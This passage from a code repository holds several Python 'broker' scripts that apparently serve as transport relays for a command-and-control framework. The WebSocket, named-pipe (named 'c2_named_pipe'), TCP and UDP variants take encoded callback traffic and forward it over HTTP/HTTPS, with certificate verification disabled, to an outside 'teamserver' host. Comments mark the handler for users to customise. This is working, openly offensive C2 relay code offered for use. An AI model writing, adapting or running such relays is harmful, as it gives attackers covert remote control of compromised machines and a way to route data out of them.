Dict[str, Any]) -> Dict[str, Any]: 65 | """ 66 | Send an HTTP/HTTPS request based on the decoded request dictionary. 67 | Uses CLI_HOST / CLI_PORT for the destination. 68 | """ 69 | 70 | scheme = request.get("scheme", "http") 71 | host = CLI_HOST 72 | port = CLI_PORT 73 | path = request.get("path", "/") 74 | method = request.get("method", "GET") 75 | headers = build_headers(request.get("headers")) 76 | body_b64 = request.get("body", "") 77 | body = base64.b64decode(body_b64) if body_b64 else None 78 | 79 | if not host: 80 | raise ValueError("Destination host (--host) is required.") 81 | if port is None: 82 | raise ValueError("Destination port (--port) is required.") 83 | 84 | logging.info("Preparing %s request to %s://%s:%s%s", method, scheme, host, port, path) 85 | logging.debug("Request headers: %r", headers) 86 | if body is not None: 87 | logging.info("Request has a body (%d bytes).", len(body)) 88 | 89 | connection_cls = http.client.HTTPSConnection if scheme == "https" else http.client.HTTPConnection 90 | 91 | if scheme == "https": 92 | conn = connection_cls(host, port, context=ssl._create_unverified_context(), timeout=10) 93 | else: 94 | conn = connection_cls(host, port, timeout=10) 95 | 96 | try: 97 | conn.request(method, path, body=body, headers=headers) 98 | logging.info("Request sent, awaiting response...") 99 | resp = conn.getresponse() 100 | resp_body = resp.read() 101 | logging.info( 102 | "Received response: %s %s (%d bytes).", 103 | resp.status, 104 | resp.reason, 105 | len(resp_body), 106 | ) 107 | resp_headers_list = [f"{k}: {v}" for k, v in resp.getheaders()] 108 | finally: 109 | conn.close() 110 | logging.debug("Connection to %s:%s closed.", host, port) 111 | 112 | return { 113 | "status_code": resp.status, 114 | "status_text": resp.reason, 115 | "headers": resp_headers_list, 116 | "body": base64.b64encode(resp_body).decode("ascii"), 117 | } 118 | 119 | 120 | def encode_response(response_obj: Dict[str, Any]) -> str: 121 | """Encode a response dictionary as base64-encoded JSON.""" 122 | 123 | json_bytes = json.dumps(response_obj).encode("utf-8") 124 | logging.debug("Encoding response JSON (%d bytes) to base64.", len(json_bytes)) 125 | return base64.b64encode(json_bytes).decode("ascii") 126 | 127 | 128 | def process_encoded_request(encoded_request: str) -> str: 129 | """ 130 | High-level core processing function. 131 | 132 | Takes raw encoded request data and returns raw encoded response data. 133 | 134 | Steps: 135 | 1. Decode base64 → JSON → dict 136 | 2. Perform HTTP/HTTPS request based on dict 137 | 3. Encode response dict → JSON → base64 138 | """ 139 | 140 | logging.info("Processing encoded request (length: %d).", len(encoded_request)) 141 | request_obj = decode_request(encoded_request) 142 | 143 | response_obj = send_http_request(request_obj) 144 | encoded_response = encode_response(response_obj) 145 | logging.info("Encoded response (length: %d).", len(encoded_response)) 146 | 147 | return encoded_response 148 | 149 | 150 | # --------------------------------------------------------------------------- 151 | # handle a callback 152 | # 153 | # This function is what you modify! 154 | # --------------------------------------------------------------------------- 155 | 156 | async def _handle_websocket( 157 | websocket: websockets.WebSocketServerProtocol, 158 | path: Optional[str] = None, 159 | *, 160 | process_func: Callable[[str], str], 161 | ) -> None: 162 | """Handle messages on a single WebSocket connection.""" 163 | 164 | peer = websocket.remote_address 165 | logging.info("Accepted WebSocket connection from %s on path %s", peer, path or "") 166 | 167 | try: 168 | async for message in websocket: 169 | if not isinstance(message, (bytes, str)): 170 | logging.warning("Skipping unsupported message type: %r", type(message)) 171 | continue 172 | 173 | encoded_request = message.decode("utf-8") if isinstance(message, bytes) else message 174 | logging.info("Processing request payload (%d bytes).", len(encoded_request)) 175 | 176 | encoded_response = process_func(encoded_request) 177 | await websocket.send(encoded_response) 178 | logging.info("Sent response payload (%d bytes).", len(encoded_response)) 179 | except websockets.ConnectionClosed: 180 | logging.info("WebSocket connection %s closed.", peer) 181 | except Exception as exc: # pragma: no cover - defensive logging 182 | logging.exception("Unhandled error while processing WebSocket messages: %s", exc) 183 | 184 | 185 | def handleCallback(process_func: Callable[[str], str] = process_encoded_request) -> bool: 186 | """Start a WebSocket server that bridges encoded requests to HTTP callbacks.""" 187 | 188 | if LISTEN_HOST is None or LISTEN_PORT is None: 189 | raise RuntimeError("LISTEN_HOST and LISTEN_PORT must be set before calling handleCallback().") 190 | 191 | async def _run_server() -> None: 192 | server = await websockets.serve( 193 | partial(_handle_websocket, process_func=process_func), 194 | LISTEN_HOST, 195 | LISTEN_PORT, 196 | max_size=None, 197 | ) 198 | 199 | logging.info("WebSocket broker listening on %s:%d", LISTEN_HOST, LISTEN_PORT) 200 | await server.wait_closed() 201 | 202 | asyncio.run(_run_server()) 203 | return True 204 | 205 | 206 | # --------------------------------------------------------------------------- 207 | # Entry point 208 | # --------------------------------------------------------------------------- 209 | 210 | def main() -> None: 211 | """Entry point. Starts the WebSocket server bridge.""" 212 | 213 | global CLI_HOST, CLI_PORT, LISTEN_HOST, LISTEN_PORT 214 | 215 | parser = argparse.ArgumentParser(description="HTTP bridge broker.") 216 | parser.add_argument( 217 | "--host", 218 | dest="host", 219 | required=True, 220 | help="Destination host for outgoing HTTP/HTTPS requests (required).", 221 | ) 222 | parser.add_argument( 223 | "--port", 224 | dest="port", 225 | type=int, 226 | required=True, 227 | help="Destination port for outgoing HTTP/HTTPS requests (required).", 228 | ) 229 | parser.add_argument( 230 | "--listen-host", 231 | dest="listen_host", 232 | required=True, 233 | help="Host/interface to listen on for incoming WebSocket callbacks (e.g. 0.0.0.0).", 234 | ) 235 | parser.add_argument( 236 | "--listen-port", 237 | dest="listen_port", 238 | type=int, 239 | required=True, 240 | help="Port to listen on for incoming WebSocket callbacks.", 241 | ) 242 | 243 | args = parser.parse_args() 244 | 245 | CLI_HOST = args.host 246 | CLI_PORT = args.port 247 | LISTEN_HOST = args.listen_host 248 | LISTEN_PORT = args.listen_port 249 | 250 | logging.info("Destination (teamserver) host: %s", CLI_HOST) 251 | logging.info("Destination (teamserver) port: %s", CLI_PORT) 252 | logging.info("Listening on %s:%s for callbacks.", LISTEN_HOST, LISTEN_PORT) 253 | 254 | handleCallback(process_encoded_request) 255 | 256 | 257 | if __name__ == "__main__": 258 | main() 259 | -------------------------------------------------------------------------------- /examples/named_pipe/broker_namedpipe.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import base64 3 | import http.client 4 | import json 5 | import logging 6 | import ssl 7 | import time 8 | from pathlib import Path 9 | from typing import Any, Callable, Dict, List, Optional 10 | 11 | import pywintypes 12 | import win32file 13 | import win32pipe 14 | 15 | # --------------------------------------------------------------------------- 16 | # Configuration 17 | # --------------------------------------------------------------------------- 18 | 19 | REQUEST_FILE = Path("request.txt") 20 | RESPONSE_FILE = Path("response.txt") 21 | PIPE_NAME = r"\\.\\pipe\\c2_named_pipe" 22 | POLL_INTERVAL = 0.5 # seconds 23 | 24 | logging.basicConfig( 25 | level=logging.INFO, 26 | format="%(asctime)s [%(levelname)s] %(message)s", 27 | ) 28 | 29 | CLI_HOST: Optional[str] = None 30 | CLI_PORT: Optional[int] = None 31 | 32 | 33 | # --------------------------------------------------------------------------- 34 | # Core HTTP bridge logic (decode → parse → send HTTP → encode) 35 | # --------------------------------------------------------------------------- 36 | 37 | def decode_request(encoded_request: str) -> Dict[str, Any]: 38 | """ 39 | Decode the base64-encoded JSON request into a Python dictionary. 40 | """ 41 | logging.debug("Decoding incoming request (length: %d).", len(encoded_request)) 42 | decoded_bytes = base64.b64decode(encoded_request) 43 | decoded_str = decoded_bytes.decode("utf-8") 44 | logging.debug("Decoded request JSON: %s", decoded_str) 45 | return json.loads(decoded_str) 46 | 47 | 48 | def build_headers(header_lines: Optional[List[str]]) -> Dict[str, str]: 49 | """ 50 | Build a headers dictionary from a list of 'Name: Value' strings. 51 | """ 52 | headers: Dict[str, str] = {} 53 | if not header_lines: 54 | logging.debug("No headers provided in request.") 55 | return headers 56 | 57 | for line in header_lines: 58 | if not line: 59 | continue 60 | if ":" in line: 61 | name, value = line.split(":", 1) 62 | name = name.strip() 63 | value = value.strip() 64 | headers[name] = value 65 | logging.debug("Parsed header: %s: %s", name, value) 66 | else: 67 | logging.warning("Skipping malformed header line (no colon found): %r", line) 68 | 69 | logging.info("Built %d request headers.", len(headers)) 70 | return headers 71 | 72 | 73 | def send_http_request(request: Dict[str, Any]) -> Dict[str, Any]: 74 | """ 75 | Send an HTTP/HTTPS request based on the decoded request dictionary. 76 | """ 77 | scheme = request.get("scheme", "http") 78 | host = CLI_HOST 79 | port = CLI_PORT 80 | path = request.get("path", "/") 81 | method = request.get("method", "GET") 82 | headers = build_headers(request.get("headers")) 83 | body_b64 = request.get("body", "") 84 | body = base64.b64decode(body_b64) if body_b64 else None 85 | 86 | if not host: 87 | raise ValueError("Request 'host' field is required.") 88 | 89 | if port is None: 90 | port = 443 if scheme == "https" else 80 91 | 92 | logging.info( 93 | "Preparing %s request to %s://%s:%s%s", 94 | method, 95 | scheme, 96 | host, 97 | port, 98 | path, 99 | ) 100 | logging.debug("Request headers: %r", headers) 101 | if body is not None: 102 | logging.info("Request has a body (%d bytes).", len(body)) 103 | 104 | connection_cls = http.client.HTTPSConnection if scheme == "https" else http.client.HTTPConnection 105 | 106 | if scheme == "https": 107 | logging.debug("Creating HTTPS connection with unverified SSL context.") 108 | conn = connection_cls(host, port, context=ssl._create_unverified_context(), timeout=10) 109 | else: 110 | logging.debug("Creating HTTP connection.") 111 | conn = connection_cls(host, port, timeout=10) 112 | 113 | try: 114 | conn.request(method, path, body=body, headers=headers) 115 | logging.info("Request sent, awaiting response...") 116 | resp = conn.getresponse() 117 | resp_body = resp.read() 118 | logging.info( 119 | "Received response: %s %s (%d bytes).", 120 | resp.status, 121 | resp.reason, 122 | len(resp_body), 123 | ) 124 | resp_headers_list = [f"{k}: {v}" for k, v in resp.getheaders()] 125 | logging.debug("Response headers: %r", resp_headers_list) 126 | finally: 127 | conn.close() 128 | logging.debug("Connection to %s:%s closed.", host, port) 129 | 130 | return { 131 | "status_code": resp.status, 132 | "status_text": resp.reason, 133 | "headers": resp_headers_list, 134 | "body": base64.b64encode(resp_body).decode("ascii"), 135 | } 136 | 137 | 138 | def encode_response(response_obj: Dict[str, Any]) -> str: 139 | """ 140 | Encode a response dictionary as base64-encoded JSON. 141 | """ 142 | json_bytes = json.dumps(response_obj).encode("utf-8") 143 | logging.debug("Encoding response JSON (%d bytes) to base64.", len(json_bytes)) 144 | return base64.b64encode(json_bytes).decode("ascii") 145 | 146 | 147 | def process_encoded_request(encoded_request: str) -> str: 148 | """ 149 | High-level core processing function. 150 | 151 | Takes raw encoded request data and returns raw encoded response data. 152 | 153 | Steps: 154 | 1. Decode base64 → JSON → dict 155 | 2. Perform HTTP/HTTPS request based on dict 156 | 3. Encode response dict → JSON → base64 157 | """ 158 | logging.info("Processing encoded request (length: %d).", len(encoded_request)) 159 | request_obj = decode_request(encoded_request) 160 | logging.debug("Decoded request object: %r", request_obj) 161 | 162 | response_obj = send_http_request(request_obj) 163 | encoded_response = encode_response(response_obj) 164 | logging.info("Encoded response (length: %d).", len(encoded_response)) 165 | 166 | return encoded_response 167 | 168 | 169 | # --------------------------------------------------------------------------- 170 | # handle a callback 171 | # 172 | # This function is what you modify! 173 | # 174 | # --------------------------------------------------------------------------- 175 | 176 | def handleCallback(process_func: Callable[[str], str] = process_encoded_request) -> bool: 177 | """ 178 | Handle a single callback cycle over a named pipe connection. 179 | 180 | Creates a named pipe instance, waits for a client, exchanges a length-prefixed 181 | request/response pair, and then cleans up. 182 | """ 183 | pipe_handle: Optional[int] = None 184 | 185 | def _read_exact(handle: int, num_bytes: int) -> bytes: 186 | chunks: list[bytes] = [] 187 | remaining = num_bytes 188 | while remaining > 0: 189 | _, data = win32file.ReadFile(handle, remaining) 190 | if not data: 191 | raise RuntimeError("Pipe closed while reading data") 192 | chunks.append(data) 193 | remaining -= len(data) 194 | return b"".join(chunks) 195 | 196 | def _read_length_prefixed(handle: int) -> bytes: 197 | _, raw_len = win32file.ReadFile(handle, 4) 198 | if len(raw_len) != 4: 199 | raise RuntimeError("Failed to read message length") 200 | msg_len = int.from_bytes(raw_len, byteorder="little") 201 | if msg_len == 0: 202 | raise RuntimeError("Received empty message") 203 | return _read_exact(handle, msg_len) 204 | 205 | def _write_length_prefixed(handle: int, payload: bytes) -> None: 206 | win32file.WriteFile(handle, len(payload).to_bytes(4, byteorder="little")) 207 | if payload: 208 | win32file.WriteFile(handle, payload) 209 | 210 | try: 211 | pipe_handle = win32pipe.CreateNamedPipe( 212 | PIPE_NAME, 213 | win32pipe.PIPE_ACCESS_DUPLEX, 214 | win32pipe.PIPE_TYPE_MESSAGE | win32pipe.PIPE_READMODE_MESSAGE | win32pipe.PIPE_WAIT, 215 | 1, 216 | 0x10000, 217 | 0x10000, 218 | 0, 219 | None, 220 | ) 221 | 222 | logging.info("Waiting for named pipe client on %s", PIPE_NAME) 223 | win32pipe.ConnectNamedPipe(pipe_handle, None) 224 | logging.info("Client connected. Reading request.") 225 | 226 | raw_request = _read_length_prefixed(pipe_handle) 227 | encoded_request = raw_request.decode("utf-8") 228 | 229 | encoded_response = process_func(encoded_request) 230 | _write_length_prefixed(pipe_handle, encoded_response.encode("utf-8")) 231 | logging.info("Sent response over named pipe (%d bytes).", len(encoded_response)) 232 | 233 | return True 234 | 235 | except pywintypes.error as exc: # noqa: BLE001 236 | logging.error("Named pipe error: %s", exc) 237 | return False 238 | except Exception as exc: # noqa: BLE001 239 | logging.exception("Error in handleCallback: %s", exc) 240 | return False 241 | finally: 242 | if pipe_handle is not None: 243 | try: 244 | win32pipe.DisconnectNamedPipe(pipe_handle) 245 | except pywintypes.error: 246 | pass 247 | win32file.CloseHandle(pipe_handle) 248 | 249 | 250 | # --------------------------------------------------------------------------- 251 | # Entry point 252 | # --------------------------------------------------------------------------- 253 | 254 | def main() -> None: 255 | """ 256 | Entry point. Repeatedly calls handleCallback to process requests. 257 | """ 258 | global CLI_HOST, CLI_PORT 259 | 260 | parser = argparse.ArgumentParser(description="HTTP bridge broker.") 261 | parser.add_argument( 262 | "--host", 263 | dest="host", 264 | required=True, 265 | help="Destination host for outgoing requests (required).", 266 | ) 267 | parser.add_argument( 268 | "--port", 269 | dest="port", 270 | type=int, 271 | required=True, 272 | help="Destination port for outgoing requests (required).", 273 | ) 274 | args = parser.parse_args() 275 | 276 | CLI_HOST = args.host or CLI_HOST 277 | CLI_PORT = args.port if args.port is not None else CLI_PORT 278 | 279 | 280 | logging.info("Teamserver host: %s", CLI_HOST) 281 | 282 | logging.info("Teamserver port: %s", CLI_PORT) 283 | 284 | logging.info( 285 | "Starting HTTP bridge. Polling %s every %.2f seconds.", 286 | REQUEST_FILE, 287 | POLL_INTERVAL, 288 | ) 289 | 290 | while True: 291 | handled = handleCallback(process_encoded_request) 292 | if not handled: 293 | time.sleep(POLL_INTERVAL) 294 | 295 | 296 | if __name__ == "__main__": 297 | main() 298 | -------------------------------------------------------------------------------- /examples/tcp/broker_tcp.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import base64 3 | import http.client 4 | import json 5 | import logging 6 | import socket 7 | import ssl 8 | import time 9 | from typing import Any, Callable, Dict, List, Optional 10 | 11 | # --------------------------------------------------------------------------- 12 | # Configuration 13 | # --------------------------------------------------------------------------- 14 | 15 | 16 | logging.basicConfig( 17 | level=logging.INFO, 18 | format="%(asctime)s [%(levelname)s] %(message)s", 19 | ) 20 | 21 | # These are all set from CLI args in main() 22 | CLI_HOST: Optional[str] = None # outbound HTTP(S) host (from --host) 23 | CLI_PORT: Optional[int] = None # outbound HTTP(S) port (from --port) 24 | LISTEN_HOST: Optional[str] = None # local TCP listen host (from --listen-host) 25 | LISTEN_PORT: Optional[int] = None # local TCP listen port (from --listen-port) 26 | 27 | 28 | # --------------------------------------------------------------------------- 29 | # Core HTTP bridge logic (decode → parse → send HTTP → encode) 30 | # --------------------------------------------------------------------------- 31 | 32 | def decode_request(encoded_request: str) -> Dict[str, Any]: 33 | """ 34 | Decode the base64-encoded JSON request into a Python dictionary. 35 | """ 36 | logging.debug("Decoding incoming request (length: %d).", len(encoded_request)) 37 | decoded_bytes = base64.b64decode(encoded_request) 38 | decoded_str = decoded_bytes.decode("utf-8") 39 | logging.debug("Decoded request JSON: %s", decoded_str) 40 | return json.loads(decoded_str) 41 | 42 | 43 | def build_headers(header_lines: Optional[List[str]]) -> Dict[str, str]: 44 | """ 45 | Build a headers dictionary from a list of 'Name: Value' strings. 46 | """ 47 | headers: Dict[str, str] = {} 48 | if not header_lines: 49 | logging.debug("No headers provided in request.") 50 | return headers 51 | 52 | for line in header_lines: 53 | if not line: 54 | continue 55 | if ":" in line: 56 | name, value = line.split(":", 1) 57 | name = name.strip() 58 | value = value.strip() 59 | headers[name] = value 60 | logging.debug("Parsed header: %s: %s", name, value) 61 | else: 62 | logging.warning("Skipping malformed header line (no colon found): %r", line) 63 | 64 | logging.info("Built %d request headers.", len(headers)) 65 | return headers 66 | 67 | 68 | def send_http_request(request: Dict[str, Any]) -> Dict[str, Any]: 69 | """ 70 | Send an HTTP/HTTPS request based on the decoded request dictionary. 71 | Uses CLI_HOST / CLI_PORT for the destination. 72 | """ 73 | scheme = request.get("scheme", "http") 74 | host = CLI_HOST 75 | port = CLI_PORT 76 | path = request.get("path", "/") 77 | method = request.get("method", "GET") 78 | headers = build_headers(request.get("headers")) 79 | body_b64 = request.get("body", "") 80 | body = base64.b64decode(body_b64) if body_b64 else None 81 | 82 | if not host: 83 | raise ValueError("Destination host (--host) is required.") 84 | if port is None: 85 | raise ValueError("Destination port (--port) is required.") 86 | 87 | logging.info( 88 | "Preparing %s request to %s://%s:%s%s", 89 | method, 90 | scheme, 91 | host, 92 | port, 93 | path, 94 | ) 95 | logging.debug("Request headers: %r", headers) 96 | if body is not None: 97 | logging.info("Request has a body (%d bytes).", len(body)) 98 | 99 | connection_cls = http.client.HTTPSConnection if scheme == "https" else http.client.HTTPConnection 100 | 101 | if scheme == "https": 102 | logging.debug("Creating HTTPS connection with unverified SSL context.") 103 | conn = connection_cls(host, port, context=ssl._create_unverified_context(), timeout=10) 104 | else: 105 | logging.debug("Creating HTTP connection.") 106 | conn = connection_cls(host, port, timeout=10) 107 | 108 | try: 109 | conn.request(method, path, body=body, headers=headers) 110 | logging.info("Request sent, awaiting response...") 111 | resp = conn.getresponse() 112 | resp_body = resp.read() 113 | logging.info( 114 | "Received response: %s %s (%d bytes).", 115 | resp.status, 116 | resp.reason, 117 | len(resp_body), 118 | ) 119 | resp_headers_list = [f"{k}: {v}" for k, v in resp.getheaders()] 120 | logging.debug("Response headers: %r", resp_headers_list) 121 | finally: 122 | conn.close() 123 | logging.debug("Connection to %s:%s closed.", host, port) 124 | 125 | return { 126 | "status_code": resp.status, 127 | "status_text": resp.reason, 128 | "headers": resp_headers_list, 129 | "body": base64.b64encode(resp_body).decode("ascii"), 130 | } 131 | 132 | 133 | def encode_response(response_obj: Dict[str, Any]) -> str: 134 | """ 135 | Encode a response dictionary as base64-encoded JSON. 136 | """ 137 | json_bytes = json.dumps(response_obj).encode("utf-8") 138 | logging.debug("Encoding response JSON (%d bytes) to base64.", len(json_bytes)) 139 | return base64.b64encode(json_bytes).decode("ascii") 140 | 141 | 142 | def process_encoded_request(encoded_request: str) -> str: 143 | """ 144 | High-level core processing function. 145 | 146 | Takes raw encoded request data and returns raw encoded response data. 147 | 148 | Steps: 149 | 1. Decode base64 → JSON → dict 150 | 2. Perform HTTP/HTTPS request based on dict 151 | 3. Encode response dict → JSON → base64 152 | """ 153 | logging.info("Processing encoded request (length: %d).", len(encoded_request)) 154 | request_obj = decode_request(encoded_request) 155 | logging.debug("Decoded request object: %r", request_obj) 156 | 157 | response_obj = send_http_request(request_obj) 158 | encoded_response = encode_response(response_obj) 159 | logging.info("Encoded response (length: %d).", len(encoded_response)) 160 | 161 | return encoded_response 162 | 163 | 164 | # --------------------------------------------------------------------------- 165 | # handle a callback 166 | # 167 | # This function is what you modify! 168 | # 169 | # --------------------------------------------------------------------------- 170 | 171 | def handleCallback(process_func: Callable[[str], str] = process_encoded_request) -> bool: 172 | """ 173 | Handle a single callback cycle over a TCP connection. 174 | 175 | Listens on LISTEN_HOST:LISTEN_PORT for one client, exchanges a length-prefixed 176 | request/response pair, and returns. 177 | """ 178 | 179 | if LISTEN_HOST is None or LISTEN_PORT is None: 180 | raise RuntimeError("LISTEN_HOST and LISTEN_PORT must be set before calling handleCallback().") 181 | 182 | def _read_exact(conn: socket.socket, num_bytes: int) -> bytes: 183 | data = b"" 184 | while len(data) < num_bytes: 185 | chunk = conn.recv(num_bytes - len(data)) 186 | if not chunk: 187 | raise ConnectionError("Socket closed while reading data") 188 | data += chunk 189 | return data 190 | 191 | def _read_length_prefixed(conn: socket.socket) -> bytes: 192 | raw_len = _read_exact(conn, 4) 193 | msg_len = int.from_bytes(raw_len, byteorder="little") 194 | if msg_len == 0: 195 | raise ValueError("Received empty message") 196 | return _read_exact(conn, msg_len) 197 | 198 | def _write_length_prefixed(conn: socket.socket, payload: bytes) -> None: 199 | conn.sendall(len(payload).to_bytes(4, byteorder="little")) 200 | if payload: 201 | conn.sendall(payload) 202 | 203 | try: 204 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server: 205 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 206 | server.bind((LISTEN_HOST, LISTEN_PORT)) 207 | server.listen(1) 208 | server.settimeout(1.0) 209 | 210 | logging.info("Listening for callbacks on %s:%s", LISTEN_HOST, LISTEN_PORT) 211 | 212 | try: 213 | conn, addr = server.accept() 214 | except socket.timeout: 215 | return False 216 | 217 | with conn: 218 | logging.info("Accepted connection from %s:%s", addr[0], addr[1]) 219 | raw_request = _read_length_prefixed(conn) 220 | encoded_request = raw_request.decode("utf-8") 221 | 222 | encoded_response = process_func(encoded_request) 223 | _write_length_prefixed(conn, encoded_response.encode("utf-8")) 224 | logging.info("Sent response over TCP (%d bytes).", len(encoded_response)) 225 | 226 | return True 227 | 228 | except Exception as exc: # noqa: BLE001 229 | logging.exception("Error in handleCallback: %s", exc) 230 | return False 231 | 232 | 233 | # --------------------------------------------------------------------------- 234 | # Entry point 235 | # --------------------------------------------------------------------------- 236 | 237 | def main() -> None: 238 | """ 239 | Entry point. Repeatedly calls handleCallback to process requests. 240 | """ 241 | global CLI_HOST, CLI_PORT, LISTEN_HOST, LISTEN_PORT 242 | 243 | parser = argparse.ArgumentParser(description="HTTP bridge broker.") 244 | parser.add_argument( 245 | "--host", 246 | dest="host", 247 | required=True, 248 | help="Destination host for outgoing HTTP/HTTPS requests (required).", 249 | ) 250 | parser.add_argument( 251 | "--port", 252 | dest="port", 253 | type=int, 254 | required=True, 255 | help="Destination port for outgoing HTTP/HTTPS requests (required).", 256 | ) 257 | parser.add_argument( 258 | "--listen-host", 259 | dest="listen_host", 260 | required=True, 261 | help="Host/interface to listen on for incoming TCP callbacks (e.g. 0.0.0.0).", 262 | ) 263 | parser.add_argument( 264 | "--listen-port", 265 | dest="listen_port", 266 | type=int, 267 | required=True, 268 | help="Port to listen on for incoming TCP callbacks.", 269 | ) 270 | 271 | args = parser.parse_args() 272 | 273 | CLI_HOST = args.host 274 | CLI_PORT = args.port 275 | LISTEN_HOST = args.listen_host 276 | LISTEN_PORT = args.listen_port 277 | 278 | logging.info("Destination (teamserver) host: %s", CLI_HOST) 279 | logging.info("Destination (teamserver) port: %s", CLI_PORT) 280 | logging.info("Listening on %s:%s for callbacks.", LISTEN_HOST, LISTEN_PORT) 281 | 282 | while True: 283 | handled = handleCallback(process_encoded_request) 284 | 285 | 286 | 287 | if __name__ == "__main__": 288 | main() 289 | 290 | -------------------------------------------------------------------------------- /examples/udp/broker_udp.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import base64 3 | import http.client 4 | import json 5 | import logging 6 | import socket 7 | import ssl 8 | import time 9 | from typing import Any, Callable, Dict, List, Optional, Tuple 10 | 11 | # --------------------------------------------------------------------------- 12 | # Configuration 13 | # --------------------------------------------------------------------------- 14 | 15 | 16 | MAX_DATAGRAM_SIZE = 65535 17 | 18 | logging.basicConfig( 19 | level=logging.INFO, 20 | format="%(asctime)s [%(levelname)s] %(message)s", 21 | ) 22 | 23 | # These are all set from CLI args in main() 24 | CLI_HOST: Optional[str] = None # outbound HTTP(S) host (from --host) 25 | CLI_PORT: Optional[int] = None # outbound HTTP(S) port (from --port) 26 | LISTEN_HOST: Optional[str] = None # local UDP listen host (from --listen-host) 27 | LISTEN_PORT: Optional[int] = None # local UDP listen port (from --listen-port) 28 | 29 | 30 | # --------------------------------------------------------------------------- 31 | # Core HTTP bridge logic (decode → parse → send HTTP → encode) 32 | # --------------------------------------------------------------------------- 33 | 34 | def decode_request(encoded_request: str) -> Dict[str, Any]: 35 | """ 36 | Decode the base64-encoded JSON request into a Python dictionary. 37 | """ 38 | logging.debug("Decoding incoming request (length: %d).", len(encoded_request)) 39 | decoded_bytes = base64.b64decode(encoded_request) 40 | decoded_str = decoded_bytes.decode("utf-8") 41 | logging.debug("Decoded request JSON: %s", decoded_str) 42 | return json.loads(decoded_str) 43 | 44 | 45 | def build_headers(header_lines: Optional[List[str]]) -> Dict[str, str]: 46 | """ 47 | Build a headers dictionary from a list of 'Name: Value' strings. 48 | """ 49 | headers: Dict[str, str] = {} 50 | if not header_lines: 51 | logging.debug("No headers provided in request.") 52 | return headers 53 | 54 | for line in header_lines: 55 | if not line: 56 | continue 57 | if ":" in line: 58 | name, value = line.split(":", 1) 59 | name = name.strip() 60 | value = value.strip() 61 | headers[name] = value 62 | logging.debug("Parsed header: %s: %s", name, value) 63 | else: 64 | logging.warning("Skipping malformed header line (no colon found): %r", line) 65 | 66 | logging.info("Built %d request headers.", len(headers)) 67 | return headers 68 | 69 | 70 | def send_http_request(request: Dict[str, Any]) -> Dict[str, Any]: 71 | """ 72 | Send an HTTP/HTTPS request based on the decoded request dictionary. 73 | Uses CLI_HOST / CLI_PORT for the destination. 74 | """ 75 | scheme = request.get("scheme", "http") 76 | host = CLI_HOST 77 | port = CLI_PORT 78 | path = request.get("path", "/") 79 | method = request.get("method", "GET") 80 | headers = build_headers(request.get("headers")) 81 | body_b64 = request.get("body", "") 82 | body = base64.b64decode(body_b64) if body_b64 else None 83 | 84 | if not host: 85 | raise ValueError("Destination host (--host) is required.") 86 | if port is None: 87 | raise ValueError("Destination port (--port) is required.") 88 | 89 | logging.info( 90 | "Preparing %s request to %s://%s:%s%s", 91 | method, 92 | scheme, 93 | host, 94 | port, 95 | path, 96 | ) 97 | logging.debug("Request headers: %r", headers) 98 | if body is not None: 99 | logging.info("Request has a body (%d bytes).", len(body)) 100 | 101 | connection_cls = http.client.HTTPSConnection if scheme == "https" else http.client.HTTPConnection 102 | 103 | if scheme == "https": 104 | logging.debug("Creating HTTPS connection with unverified SSL context.") 105 | conn = connection_cls(host, port, context=ssl._create_unverified_context(), timeout=10) 106 | else: 107 | logging.debug("Creating HTTP connection.") 108 | conn = connection_cls(host, port, timeout=10) 109 | 110 | try: 111 | conn.request(method, path, body=body, headers=headers) 112 | logging.info("Request sent, awaiting response...") 113 | resp = conn.getresponse() 114 | resp_body = resp.read() 115 | logging.info( 116 | "Received response: %s %s (%d bytes).", 117 | resp.status, 118 | resp.reason, 119 | len(resp_body), 120 | ) 121 | resp_headers_list = [f"{k}: {v}" for k, v in resp.getheaders()] 122 | logging.debug("Response headers: %r", resp_headers_list) 123 | finally: 124 | conn.close() 125 | logging.debug("Connection to %s:%s closed.", host, port) 126 | 127 | return { 128 | "status_code": resp.status, 129 | "status_text": resp.reason, 130 | "headers": resp_headers_list, 131 | "body": base64.b64encode(resp_body).decode("ascii"), 132 | } 133 | 134 | 135 | def encode_response(response_obj: Dict[str, Any]) -> str: 136 | """ 137 | Encode a response dictionary as base64-encoded JSON. 138 | """ 139 | json_bytes = json.dumps(response_obj).encode("utf-8") 140 | logging.debug("Encoding response JSON (%d bytes) to base64.", len(json_bytes)) 141 | return base64.b64encode(json_bytes).decode("ascii") 142 | 143 | 144 | def process_encoded_request(encoded_request: str) -> str: 145 | """ 146 | High-level core processing function. 147 | 148 | Takes raw encoded request data and returns raw encoded response data. 149 | 150 | Steps: 151 | 1. Decode base64 → JSON → dict 152 | 2. Perform HTTP/HTTPS request based on dict 153 | 3. Encode response dict → JSON → base64 154 | """ 155 | logging.info("Processing encoded request (length: %d).", len(encoded_request)) 156 | request_obj = decode_request(encoded_request) 157 | logging.debug("Decoded request object: %r", request_obj) 158 | 159 | response_obj = send_http_request(request_obj) 160 | encoded_response = encode_response(response_obj) 161 | logging.info("Encoded response (length: %d).", len(encoded_response)) 162 | 163 | return encoded_response 164 | 165 | 166 | # --------------------------------------------------------------------------- 167 | # handle a callback 168 | # 169 | # This function is what you modify! 170 | # 171 | # --------------------------------------------------------------------------- 172 | 173 | def _read_length_prefixed(packet: bytes) -> Optional[Tuple[str, bytes]]: 174 | if len(packet) < 4: 175 | logging.warning("Received UDP packet too small for length prefix (%d bytes).", len(packet)) 176 | return None 177 | 178 | msg_len = int.from_bytes(packet[:4], byteorder="little") 179 | payload = packet[4:] 180 | if msg_len == 0: 181 | logging.warning("Received empty message length over UDP.") 182 | return None 183 | 184 | if msg_len > len(payload): 185 | logging.warning( 186 | "UDP packet length prefix (%d) larger than payload size (%d).", msg_len, len(payload) 187 | ) 188 | return None 189 | 190 | try: 191 | decoded = payload[:msg_len].decode("utf-8") 192 | except UnicodeDecodeError: 193 | logging.warning("Failed to decode UDP payload as UTF-8.") 194 | return None 195 | 196 | return decoded, payload[msg_len:] 197 | 198 | 199 | def handleCallback(process_func: Callable[[str], str] = process_encoded_request) -> bool: 200 | """ 201 | Handle a single callback cycle over UDP. 202 | 203 | Listens on LISTEN_HOST:LISTEN_PORT for one datagram, parses the length-prefixed 204 | request, and responds with a length-prefixed datagram back to the sender. 205 | """ 206 | 207 | if LISTEN_HOST is None or 